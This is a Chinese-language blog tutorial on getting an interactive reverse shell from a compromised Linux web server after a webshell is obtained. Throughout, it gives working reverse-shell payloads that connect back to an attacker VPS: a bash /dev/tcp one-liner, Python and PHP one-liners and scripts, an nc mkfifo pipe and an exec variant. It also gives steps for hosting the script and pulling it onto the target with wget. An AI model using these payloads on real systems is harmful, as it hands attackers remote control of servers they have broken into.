欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Linux下Shell 反弹总结

程序员文章站 2022-05-15 20:23:29
...

当拿到webshell的时候,因为webshell的环境是虚拟终端,不是交互型终端,很多命令是无法执行的,所以需要拿到交互式shell,就得反弹shell

工具准备

  • VPS(公网ip)
  • python环境
  • nc(netcat)
  • Ubuntu(宿主机)

反弹shell 步骤

首先在vps上使用netcat开启监听

nc -lvnp 8080

参数

  • -l:使用监听模式,监控传入的资料;
  • -v:显示指令执行过程;
  • -n:直接使用ip地址,而不通过域名服务器;
  • -p:<通信端口>:设置本地主机使用的通信端口

Linux下Shell 反弹总结

  • 测试

    在Ubuntu上开启tcp8080端口,通过上图可以看见nc 监听了本地的8080端口,且是TCP协议

  • 在监听机上(vps)上监听8080端口

Linux下Shell 反弹总结

bash反弹

bash -i >& /dev/tcp/<your_vps>/8080 0>&1
  • bash -i : 产生一个bash的交互环境;
  • >&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;
  • /dev/tcp/<your_vps>/8080:与目标主机ip/8080端口建立一个TCP连接;
  • 0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容

Linux下Shell 反弹总结

python一句话反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Linux下Shell 反弹总结

这样虽然反弹回来了,但是看不到用户是谁,此时可以使用python 一句话反弹用户

python -c "import pty;pty.spawn('/bin/bash')"

Linux下Shell 反弹总结

python 脚本执行

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<your_vps>",8080));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

当拿到webshell权限之后,可以上传此脚本,只要目标服务器有python环境,即可执行此脚本,并在攻击机上反弹回shell

也可以将此脚本上传至攻击服务器上,使用wegt 下载攻击机上的文件,然后再目标服务器上下载此文件(目标服务器有wget命令的情况下)

针对第二种方法介绍(由于第一种方法可以在菜刀,蚁剑等工具直接上传较简单)

首先在vps中开启Apache

service apaache2 restart

将脚本放置在/var/www/html 目录下

Linux下Shell 反弹总结

在目标服务器上下载此脚本

wget http://ip/shell.py

Linux下Shell 反弹总结
在宿主机上执行shell.py(注意权限)

Linux下Shell 反弹总结

PHP 一句话执行

要求宿主机上拥有php环境

php -r '$sock=fsockopen("<your_vps>",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

Linux下Shell 反弹总结

PHP 脚本

<?php $sock=fsockopen("<your_vps>",8080);exec("/bin/sh -i <&3 >&3 2>&3");?>

Linux下Shell 反弹总结

nc命令获取靶机的反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_vps> 8080 >/tmp/f

Linux下Shell 反弹总结

exec 反弹

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

Linux下Shell 反弹总结

webshell 下反弹shell

蚁剑连接webshell下

在webshell 下操作可行的有

  • python 脚本执行
  • PHP 脚本

Linux下Shell 反弹总结

Linux下Shell 反弹总结